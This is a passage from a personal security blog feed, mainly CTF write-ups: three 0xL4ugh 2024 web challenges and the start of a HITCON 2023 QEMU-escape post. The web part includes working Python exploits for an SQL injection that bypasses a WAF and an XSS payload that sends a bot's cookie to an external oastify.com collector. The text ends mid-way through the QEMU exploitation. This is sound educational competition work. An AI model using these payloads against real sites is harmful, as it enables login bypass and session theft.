<p><img src="/assets/inner_life.png" alt="Inside the sumobot's enclosure" width="400" height="533" loading="lazy" decoding="async" /></p>]]></content><author><name>H0ps</name></author><category term="workbench" /><summary type="html"><![CDATA[I recently finished the implementation and design of a mini sumobot by following the excellent embedded systems project series from the YouTube channel Artful Bytes.]]></summary></entry><entry><title type="html">0xL4ugh CTF 2024</title><link href="https://ollrogge.github.io/cybersecurity/2024/02/11/0xL4ugh2024.html" rel="alternate" type="text/html" title="0xL4ugh CTF 2024" /><published>2024-02-11T00:00:00+00:00</published><updated>2024-02-11T00:00:00+00:00</updated><id>https://ollrogge.github.io/cybersecurity/2024/02/11/0xL4ugh2024</id><content type="html" xml:base="https://ollrogge.github.io/cybersecurity/2024/02/11/0xL4ugh2024.html"><![CDATA[<p>Last weekend, I participated in the 0xL4ugh CTF as part of <a href="https://twitter.com/ARESxCTF">ARESx</a>. There were some infrastructure problems, but overall it was a fun CTF and we secured the 14th place.</p>

<p>Unfortunately there was only 1 pwn challenge so I tried myself at web challenges and managed to solve 3. This is a write up of them: <a href="#micro-sec">Micro</a>, <a href="#waf-sec">Simple WAF</a> and <a href="#purify-sec">DamnPurify</a>.</p>

<p>The challenge files can be found in my <a href="https://github.com/Ollrogge/CtfWriteups">repo</a>.</p>

<h2 id="micro-sec">Micro</h2>
<p>Micro was a proxy kind of challenge were one had to login as admin into a Flask web page which had a php-based web page as proxy. The credentials for the admin account were given in the challenge description (admin:admin) so the goal was simply to login.</p>

<p>The problem of the challenge was that the php page denied all requests with <code class="language-plaintext highlighter-rouge">admin</code> as username:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span><span class="p">(</span><span class="nf">Check_Admin</span><span class="p">(</span><span class="nv">$username</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'REMOTE_ADDR'</span><span class="p">]</span><span class="o">!==</span><span class="s2">"127.0.0.1"</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">die</span><span class="p">(</span><span class="s2">"Admin Login allowed from localhost only : )"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
    <span class="nf">send_to_api</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"php://input"</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">REMOTE_ADDR</code> is taken from the IP socket so it cant be spoofed and the admin check was a simple regex which also looked safe.</p>

<h3 id="bug">Bug</h3>
<p>Proxy kind of challenges often have something todo with the proxy and the web page functioning differently which allows us to bypass the protective measures.</p>

<p>For this challenge, a clear hint is that the code uses <code class="language-plaintext highlighter-rouge">file_get_contents("php://input")</code>, which reads the complete request body instead of taking the username and password from the <code class="language-plaintext highlighter-rouge">$_POST</code> array, to forward the request to the backend server.</p>

<p>The vulnerability is that when sending the same key twice in a POST request body, php will return the value of the second key via <code class="language-plaintext highlighter-rouge">$_POST['username']</code> and flask will return the value of the first key via <code class="language-plaintext highlighter-rouge">request.form.get('username')</code>.</p>

<h3 id="exploit">Exploit</h3>
<p>To exploit this we can simply send a post request that contains the key <code class="language-plaintext highlighter-rouge">username</code> twice, with the first value being <code class="language-plaintext highlighter-rouge">admin</code> and second value being anything but admin.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">URL</span> <span class="o">=</span><span class="s">"http://20.115.83.90:1338/"</span>

<span class="k">def</span> <span class="nf">login</span><span class="p">():</span>
    <span class="n">data</span> <span class="o">=</span> <span class="p">[(</span><span class="s">'username'</span><span class="p">,</span> <span class="s">'admin'</span><span class="p">),</span> <span class="p">(</span><span class="s">'password'</span><span class="p">,</span> <span class="s">'admin'</span><span class="p">),(</span><span class="s">'login-submit'</span><span class="p">,</span> <span class="s">'1'</span><span class="p">),(</span><span class="s">'username'</span><span class="p">,</span><span class="s">'test'</span><span class="p">)]</span>

    <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">URL</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>

    <span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">content</span><span class="p">)</span>

<span class="n">login</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="waf-sec">Simple WAF</h2>
<p>For Simple WAF one had to simply login as a valid user to get the flag. Since the only user in the database was admin, this again meant one had to login as admin.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$username</span><span class="o">=</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'username'</span><span class="p">];</span>
<span class="nv">$password</span><span class="o">=</span><span class="nb">md5</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'password'</span><span class="p">]);</span>
<span class="k">if</span><span class="p">(</span><span class="nf">waf</span><span class="p">(</span><span class="nv">$username</span><span class="p">))</span>
<span class="p">{</span>
    <span class="k">die</span><span class="p">(</span><span class="s2">"WAF Block"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
    <span class="nv">$res</span> <span class="o">=</span> <span class="nv">$conn</span><span class="o">-&gt;</span><span class="nf">query</span><span class="p">(</span><span class="s2">"select * from users where username='</span><span class="nv">$username</span><span class="s2">' and password='</span><span class="nv">$password</span><span class="s2">'"</span><span class="p">);</span>

    <span class="k">if</span><span class="p">(</span><span class="nv">$res</span><span class="o">-&gt;</span><span class="n">num_rows</span> <span class="o">===</span><span class="mi">1</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="k">echo</span> <span class="s2">"0xL4ugh</span><span class="si">{</span><span class="nv">Fake_Flag</span><span class="si">}</span><span class="s2">"</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span>
    <span class="p">{</span>
        <span class="k">echo</span> <span class="s2">"&lt;script&gt;alert('Wrong Creds')&lt;/script&gt;"</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>There is a pretty obvious SQL injection vulnerability for the <code class="language-plaintext highlighter-rouge">username</code> parameter since we fully control its contents and the code directly uses it in a SQL query. The problem however is that the username is protected by a <code class="language-plaintext highlighter-rouge">waf</code> function which limits us to only lowercase letters in the username:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">function</span> <span class="n">waf</span><span class="p">(</span><span class="nv">$input</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span><span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s2">"/([^a-z])+/s"</span><span class="p">,</span><span class="nv">$input</span><span class="p">))</span>
    <span class="p">{</span>
        <span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span>
    <span class="p">{</span>
        <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This prevents us from doing any SQL injection since we cant modify the statement.</p>

<h3 id="bug-1">Bug</h3>
<p>The bug for this challenge is a pretty big footgun in my opinion as it is not even mentioned in the documentation of the <code class="language-plaintext highlighter-rouge">preg_match</code> function. Only in the user contributed notes people mention a potential problem.</p>

<p>The behavior of the <code class="language-plaintext highlighter-rouge">preg_match</code> function is affected by <a href="https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.backtrack-limit">runtime configurations</a> such as the <code class="language-plaintext highlighter-rouge">pcre.backtrack_limit</code>. This limit sets the maximum number of backtracking steps that the regex library is allowed to make while attempting to match a regular expression. The default backtracking limit is <code class="language-plaintext highlighter-rouge">1000000</code>. If the regex matching backtracks more than this limit, <code class="language-plaintext highlighter-rouge">preg_match</code> will return <code class="language-plaintext highlighter-rouge">false</code> without throwing any kind of error.</p>

<h3 id="exploit-1">Exploit</h3>
<p>We can exploit this behavior by simply appending a very long matching string before our SQL injection to pass the <code class="language-plaintext highlighter-rouge">waf</code> check:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">URL</span><span class="o">=</span><span class="s">"http://20.115.83.90:1339/"</span>

<span class="k">def</span> <span class="nf">login</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"A"</span><span class="o">*</span><span class="mh">0x100000</span><span class="o">+</span><span class="s">"' OR '1'='1' -- -"</span><span class="p">)</span>

    <span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
        <span class="s">'username'</span><span class="p">:</span> <span class="s">"A"</span><span class="o">*</span><span class="mh">0x100000</span><span class="o">+</span><span class="s">"' OR '1'='1' -- -"</span> <span class="p">,</span>
        <span class="s">'password'</span><span class="p">:</span> <span class="s">'admin'</span><span class="p">,</span>
        <span class="s">'login-submit'</span><span class="p">:</span> <span class="s">'1'</span>
    <span class="p">}</span>

    <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">URL</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>

    <span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">content</span><span class="p">)</span>

<span class="n">login</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="purify-sec">DamnPurify</h2>

<p>DamnPurify was a challenge that used the <a href="https://github.com/cure53/DOMPurify">DOMPurify</a> XSS sanitizer to try and prevent XSS. A very simple web page was given which takes the value passed via the xss URL parameter, sanitizes it via DOMPurify and then uses a regex on it which replaces <code class="language-plaintext highlighter-rouge">style</code> blocks with an empty string.</p>

<p>The goal of the challenge was to achieve XSS despite the sanitization and steal the cookie of the bot.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;!DOCTYPE html&gt;</span>
<span class="nt">&lt;html</span> <span class="na">lang=</span><span class="s">"en"</span> <span class="na">dir=</span><span class="s">"ltr"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;head&gt;</span>
    <span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"https://cure53.de/purify.js"</span><span class="nt">&gt;&lt;/script&gt;</span>
  <span class="nt">&lt;/head&gt;</span>
  <span class="nt">&lt;body&gt;</span>
<span class="nt">&lt;script&gt;</span>
    <span class="nb">window</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="kd">const</span> <span class="nx">params</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URLSearchParams</span><span class="p">(</span><span class="nx">location</span><span class="p">.</span><span class="nx">search</span><span class="p">);</span>
        <span class="nx">injection</span> <span class="o">=</span> <span class="nx">params</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">xss</span><span class="dl">"</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">injection</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="nx">injection</span> <span class="o">=</span> <span class="nx">DOMPurify</span><span class="p">.</span><span class="nx">sanitize</span><span class="p">(</span><span class="nx">injection</span><span class="p">);</span>

            <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="nx">injection</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/&lt;style&gt;.*&lt;</span><span class="se">\/</span><span class="sr">style&gt;/g</span><span class="nx">s</span><span class="p">,</span> <span class="dl">""</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">};</span>
<span class="nt">&lt;/script&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<p>As DOMPurify is used extensively in practice, finding a bug directly in the library was unlikely the goal of the challenge. Therefore it had to have something to do with the regex used.</p>

<h3 id="exploit-2">Exploit</h3>
<p>Nothing special really I just tried a lot of things until something worked. Final payload:</p>

<pre><code class="language-txt">http://20.115.83.90:1337/report.php?url=http://127.0.0.1/?xss=&lt;img src="a &lt;style&gt;"&gt;&lt;style&gt;h1 {color: white&lt;/style&gt; " onerror=fetch("http://zdg7rcb3lqhtsuix9r6uopbk0b62uuij.oastify.com/".concat(document.cookie))&lt;/p&gt;
</code></pre>]]></content><author><name>H0ps</name></author><category term="cybersecurity" /><summary type="html"><![CDATA[Last weekend, I participated in the 0xL4ugh CTF as part of ARESx. There were some infrastructure problems, but overall it was a fun CTF and we secured the 14th place.]]></summary></entry><entry><title type="html">HITCON CTF 2023 quals</title><link href="https://ollrogge.github.io/cybersecurity/2023/09/13/HitconCTF2023.html" rel="alternate" type="text/html" title="HITCON CTF 2023 quals" /><published>2023-09-13T00:00:00+00:00</published><updated>2023-09-13T00:00:00+00:00</updated><id>https://ollrogge.github.io/cybersecurity/2023/09/13/HitconCTF2023</id><content type="html" xml:base="https://ollrogge.github.io/cybersecurity/2023/09/13/HitconCTF2023.html"><![CDATA[<p>Last weekend I played the qualification for the HITCON ctf as part of <a href="https://ctftime.org/team/220769">Maltese Prison Escapees</a>. We got 8th and by that unfortunately missed the final by 1 place :(.</p>

<p><img src="/assets/hitcon2023-scoreboard.png" alt="scoreboard" /></p>

<p>Same as last year, the ctf had once again a fullchain pwn challenge to offer. This time it was chroot jailbreak -&gt; kernel -&gt; QEMU escape.</p>

<p>This post is a writeup of the <a href="#maria-sec">QEMU escape</a> (Wall Maria) and the <a href="#rose-sec">kernel challenge</a> (Wall Rose). I solved the kernel challenge. A teammate solved the QEMU challenge but I also developed my own exploit for it. The exploit codes and challenge files can be found in my <a href="https://github.com/Ollrogge/CtfWriteups">repository</a>.</p>

<h2 id="maria-sec">Wall Maria</h2>
<p>Wall Maria was a QEMU escape challenge. We are given the source code for the peripheral device “maria”:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">"hw/hw.h"</span><span class="cp">
#include</span> <span class="cpf">"hw/pci/msi.h"</span><span class="cp">
#include</span> <span class="cpf">"hw/pci/pci.h"</span><span class="cp">
#include</span> <span class="cpf">"qapi/visitor.h"</span><span class="cp">
#include</span> <span class="cpf">"qemu/main-loop.h"</span><span class="cp">
#include</span> <span class="cpf">"qemu/module.h"</span><span class="cp">
#include</span> <span class="cpf">"qemu/osdep.h"</span><span class="cp">
#include</span> <span class="cpf">"qom/object.h"</span><span class="cp">
</span>
<span class="cp">#define TYPE_PCI_MARIA_DEVICE "maria"
#define MARIA_MMIO_SIZE 0x10000
</span>
<span class="cp">#define BUFF_SIZE 0x2000
</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
    <span class="n">PCIDevice</span> <span class="n">pdev</span><span class="p">;</span>
    <span class="k">struct</span> <span class="p">{</span>
		<span class="kt">uint64_t</span> <span class="n">src</span><span class="p">;</span>
        <span class="kt">uint8_t</span> <span class="n">off</span><span class="p">;</span>
	<span class="p">}</span> <span class="n">state</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">buff</span><span class="p">[</span><span class="n">BUFF_SIZE</span><span class="p">];</span>
    <span class="n">MemoryRegion</span> <span class="n">mmio</span><span class="p">;</span>
<span class="p">}</span> <span class="n">MariaState</span><span class="p">;</span>

<span class="n">DECLARE_INSTANCE_CHECKER</span><span class="p">(</span><span class="n">MariaState</span><span class="p">,</span> <span class="n">MARIA</span><span class="p">,</span> <span class="n">TYPE_PCI_MARIA_DEVICE</span><span class="p">)</span>

<span class="k">static</span> <span class="kt">uint64_t</span> <span class="nf">maria_mmio_read</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">opaque</span><span class="p">,</span> <span class="n">hwaddr</span> <span class="n">addr</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">MariaState</span> <span class="o">*</span><span class="n">maria</span> <span class="o">=</span> <span class="p">(</span><span class="n">MariaState</span> <span class="o">*</span><span class="p">)</span><span class="n">opaque</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">switch</span> <span class="p">(</span><span class="n">addr</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">case</span> <span class="mh">0x00</span><span class="p">:</span>
            <span class="n">cpu_physical_memory_rw</span><span class="p">(</span><span class="n">maria</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">src</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">maria</span><span class="o">-&gt;</span><span class="n">buff</span><span class="p">[</span><span class="n">maria</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">off</span><span class="p">],</span> <span class="n">BUFF_SIZE</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
            <span class="n">val</span> <span class="o">=</span> <span class="mh">0x600DC0DE</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="mh">0x04</span><span class="p">:</span>
            <span class="n">val</span> <span class="o">=</span> <span class="n">maria</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">src</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="mh">0x08</span><span class="p">:</span>
            <span class="n">val</span> <span class="o">=</span> <span class="n">maria</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">off</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="nl">default:</span>
            <span class="n">val</span> <span class="o">=</span> <span class="mh">0xDEADC0DE</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">val</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">maria_mmio_write</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">opaque</span><span class="p">,</span> <span class="n">hwaddr</span> <span class="n">addr</span><span class="p">,</span> <span class="kt">uint64_t</span> <span class="n">val</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">MariaState</span> <span class="o">*</span><span class="n">maria</span> <span class="o">=</span> <span class="p">(</span><span class="n">MariaState</span> <span class="o">*</span><span class="p">)</span><span class="n">opaque</span><span class="p">;</span>
    <span class="k">switch</span> <span class="p">(</span><span class="n">addr</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">case</span> <span class="mh">0x00</span><span class="p">:</span>
            <span class="n">cpu_physical_memory_rw</span><span class="p">(</span><span class="n">maria</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">src</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">maria</span><span class="o">-&gt;</span><span class="n">buff</span><span class="p">[</span><span class="n">maria</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">off</span><span class="p">],</span> <span class="n">BUFF_SIZE</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="mh">0x04</span><span class="p">:</span>
            <span class="n">maria</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">src</span> <span class="o">=</span> <span class="n">val</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="mh">0x08</span><span class="p">:</span>
            <span class="n">maria</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">off</span> <span class="o">=</span> <span class="n">val</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="nl">default:</span>
            <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">static</span> <span class="k">const</span> <span class="n">MemoryRegionOps</span> <span class="n">maria_mmio_ops</span> <span class="o">=</span> <span class="p">{</span>
    <span class="p">.</span><span class="n">read</span> <span class="o">=</span> <span class="n">maria_mmio_read</span><span class="p">,</span>
    <span class="p">.</span><span class="n">write</span> <span class="o">=</span> <span class="n">maria_mmio_write</span><span class="p">,</span>
    <span class="p">.</span><span class="n">endianness</span> <span class="o">=</span> <span class="n">DEVICE_NATIVE_ENDIAN</span><span class="p">,</span>
    <span class="p">.</span><span class="n">valid</span> <span class="o">=</span> <span class="p">{</span>
        <span class="p">.</span><span class="n">min_access_size</span> <span class="o">=</span> <span class="mi">4</span><span class="p">,</span>
        <span class="p">.</span><span class="n">max_access_size</span> <span class="o">=</span> <span class="mi">4</span><span class="p">,</span>
    <span class="p">},</span>
    <span class="p">.</span><span class="n">impl</span> <span class="o">=</span> <span class="p">{</span>
        <span class="p">.</span><span class="n">min_access_size</span> <span class="o">=</span> <span class="mi">4</span><span class="p">,</span>
        <span class="p">.</span><span class="n">max_access_size</span> <span class="o">=</span> <span class="mi">4</span><span class="p">,</span>
    <span class="p">},</span>
<span class="p">};</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">pci_maria_realize</span><span class="p">(</span><span class="n">PCIDevice</span> <span class="o">*</span><span class="n">pdev</span><span class="p">,</span> <span class="n">Error</span> <span class="o">**</span><span class="n">errp</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">MariaState</span> <span class="o">*</span><span class="n">maria</span> <span class="o">=</span> <span class="n">MARIA</span><span class="p">(</span><span class="n">pdev</span><span class="p">);</span>
    <span class="n">memory_region_init_io</span><span class="p">(</span><span class="o">&amp;</span><span class="n">maria</span><span class="o">-&gt;</span><span class="n">mmio</span><span class="p">,</span> <span class="n">OBJECT</span><span class="p">(</span><span class="n">maria</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">maria_mmio_ops</span><span class="p">,</span> <span class="n">maria</span><span class="p">,</span> <span class="s">"maria-mmio"</span><span class="p">,</span> <span class="n">MARIA_MMIO_SIZE</span><span class="p">);</span>
    <span class="n">pci_register_bar</span><span class="p">(</span><span class="n">pdev</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">PCI_BASE_ADDRESS_SPACE_MEMORY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">maria</span><span class="o">-&gt;</span><span class="n">mmio</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">maria_instance_init</span><span class="p">(</span><span class="n">Object</span> <span class="o">*</span><span class="n">obj</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">MariaState</span> <span class="o">*</span><span class="n">maria</span> <span class="o">=</span> <span class="n">MARIA</span><span class="p">(</span><span class="n">obj</span><span class="p">);</span>
    <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">maria</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">maria</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">));</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">maria</span><span class="o">-&gt;</span><span class="n">buff</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">maria</span><span class="o">-&gt;</span><span class="n">buff</span><span class="p">));</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">maria_class_init</span><span class="p">(</span><span class="n">ObjectClass</span> <span class="o">*</span><span class="n">class</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">DeviceClass</span> <span class="o">*</span><span class="n">dc</span> <span class="o">=</span> <span class="n">DEVICE_CLASS</span><span class="p">(</span><span class="n">class</span><span class="p">);</span>
    <span class="n">PCIDeviceClass</span> <span class="o">*</span><span class="n">k</span> <span class="o">=</span> <span class="n">PCI_DEVICE_CLASS</span><span class="p">(</span><span class="n">class</span><span class="p">);</span>

    <span class="n">k</span><span class="o">-&gt;</span><span class="n">realize</span> <span class="o">=</span> <span class="n">pci_maria_realize</span><span class="p">;</span>
    <span class="n">k</span><span class="o">-&gt;</span><span class="n">vendor_id</span> <span class="o">=</span> <span class="n">PCI_VENDOR_ID_QEMU</span><span class="p">;</span>
    <span class="n">k</span><span class="o">-&gt;</span><span class="n">device_id</span> <span class="o">=</span> <span class="mh">0xDEAD</span><span class="p">;</span>
    <span class="n">k</span><span class="o">-&gt;</span><span class="n">revision</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span>
    <span class="n">k</span><span class="o">-&gt;</span><span class="n">class_id</span> <span class="o">=</span> <span class="n">PCI_CLASS_OTHERS</span><span class="p">;</span>

    <span class="n">set_bit</span><span class="p">(</span><span class="n">DEVICE_CATEGORY_MISC</span><span class="p">,</span> <span class="n">dc</span><span class="o">-&gt;</span><span class="n">categories</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">pci_maria_register_types</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">static</span> <span class="n">InterfaceInfo</span> <span class="n">interfaces</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
        <span class="p">{</span> <span class="n">INTERFACE_CONVENTIONAL_PCI_DEVICE</span> <span class="p">},</span>
        <span class="p">{</span> <span class="p">},</span>
    <span class="p">};</span>
    <span class="k">static</span> <span class="k">const</span> <span class="n">TypeInfo</span> <span class="n">maria_info</span> <span class="o">=</span> <span class="p">{</span>
        <span class="p">.</span><span class="n">name</span> <span class="o">=</span> <span class="n">TYPE_PCI_MARIA_DEVICE</span><span class="p">,</span>
        <span class="p">.</span><span class="n">parent</span> <span class="o">=</span> <span class="n">TYPE_PCI_DEVICE</span><span class="p">,</span>
        <span class="p">.</span><span class="n">instance_size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">MariaState</span><span class="p">),</span>
        <span class="p">.</span><span class="n">instance_init</span> <span class="o">=</span> <span class="n">maria_instance_init</span><span class="p">,</span>
        <span class="p">.</span><span class="n">class_init</span> <span class="o">=</span> <span class="n">maria_class_init</span><span class="p">,</span>
        <span class="p">.</span><span class="n">interfaces</span> <span class="o">=</span> <span class="n">interfaces</span><span class="p">,</span>
    <span class="p">};</span>

    <span class="n">type_register_static</span><span class="p">(</span><span class="o">&amp;</span><span class="n">maria_info</span><span class="p">);</span>
<span class="p">}</span>

<span class="n">type_init</span><span class="p">(</span><span class="n">pci_maria_register_types</span><span class="p">)</span>
</code></pre></div></div>
<p>We can can write to an internal buffer of the peripheral and read from it. To interact with the device from userspace we can use memory-mapped I/O (MMIO). The difficult part though for this challenge is that the buffer is two pages big (0x2000) and we need to pass the physical address of our buffer. Obtaining two continuous physical pages for an userspace buffer of size 0x2000 however is very unlikely / difficult.</p>

<p>To circumvent this, my teammate who solved the challenge had the great idea to only allocate a buffer of size 0x1000 and use that for exploitation. The author of this challenge used a different technique based on huge pages to actually obtain a buffer of size 0x2000 which is backed by two continuous physical pages. You can read the writeup <a href="https://github.com/wxrdnx/HITCON-2023-Challenges/tree/main/wall-maria/solution">here</a>.</p>

<h3 id="bug">Bug</h3>
<p>The bug for this challenge is very obvious. We can specify an offset for reading and writing but the code doesn’t account for this and still reads / writes 0x2000 bytes. Therefore, this gives us an oor / oow primitive from <code class="language-plaintext highlighter-rouge">MariaState.buff</code>.</p>

<h3 id="exploitation">Exploitation</h3>
<p>Based on the oor / oow primitive we can corrupt the <code class="language-plaintext highlighter-rouge">MemoryRegion</code> struct which is located directly after <code class="language-plaintext highlighter-rouge">buff</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">MemoryRegion</span> <span class="p">{</span>
    <span class="n">Object</span> <span class="n">parent_obj</span><span class="p">;</span>

    <span class="cm">/* private: */</span>

    <span class="cm">/* The following fields should fit in a cache line */</span>
    <span class="n">bool</span> <span class="n">romd_mode</span><span class="p">;</span>
    <span class="n">bool</span> <span class="n">ram</span><span class="p">;</span>
    <span class="n">bool</span> <span class="n">subpage</span><span class="p">;</span>
    <span class="n">bool</span> <span class="n">readonly</span><span class="p">;</span> <span class="cm">/* For RAM regions */</span>
    <span class="n">bool</span> <span class="n">nonvolatile</span><span class="p">;</span>
    <span class="n">bool</span> <span class="n">rom_device</span><span class="p">;</span>
    <span class="n">bool</span> <span class="n">flush_coalesced_mmio</span><span class="p">;</span>
    <span class="kt">uint8_t</span> <span class="n">dirty_log_mask</span><span class="p">;</span>
    <span class="n">bool</span> <span class="n">is_iommu</span><span class="p">;</span>
    <span class="n">RAMBlock</span> <span class="o">*</span><span class="n">ram_block</span><span class="p">;</span>
    <span class="n">Object</span> <span class="o">*</span><span class="n">owner</span><span class="p">;</span>
    <span class="cm">/* owner as TYPE_DEVICE. Used for re-entrancy checks in MR access hotpath */</span>
    <span class="n">DeviceState</span> <span class="o">*</span><span class="n">dev</span><span class="p">;</span>

    <span class="k">const</span> <span class="n">MemoryRegionOps</span> <span class="o">*</span><span class="n">ops</span><span class="p">;</span>
    <span class="kt">void</span> <span class="o">*</span><span class="n">opaque</span><span class="p">;</span>

    <span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Looking at the first members of the struct we see that it contains an <code class="language-plaintext highlighter-rouge">ops</code> member which is a pointer to a function table containing MemoryRegion callbacks. The first function that is called when we access the MMIO region of the peripheral device is the <code class="language-plaintext highlighter-rouge">accepts</code> function. So by corrupting this function pointer, based on changing the <code class="language-plaintext highlighter-rouge">ops</code> pointer to a memory region we control, we can gain RIP control.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="cm">/*
     * If present, and returns #false, the transaction is not accepted
     * by the device (and results in machine dependent behaviour such
     * as a machine check exception).
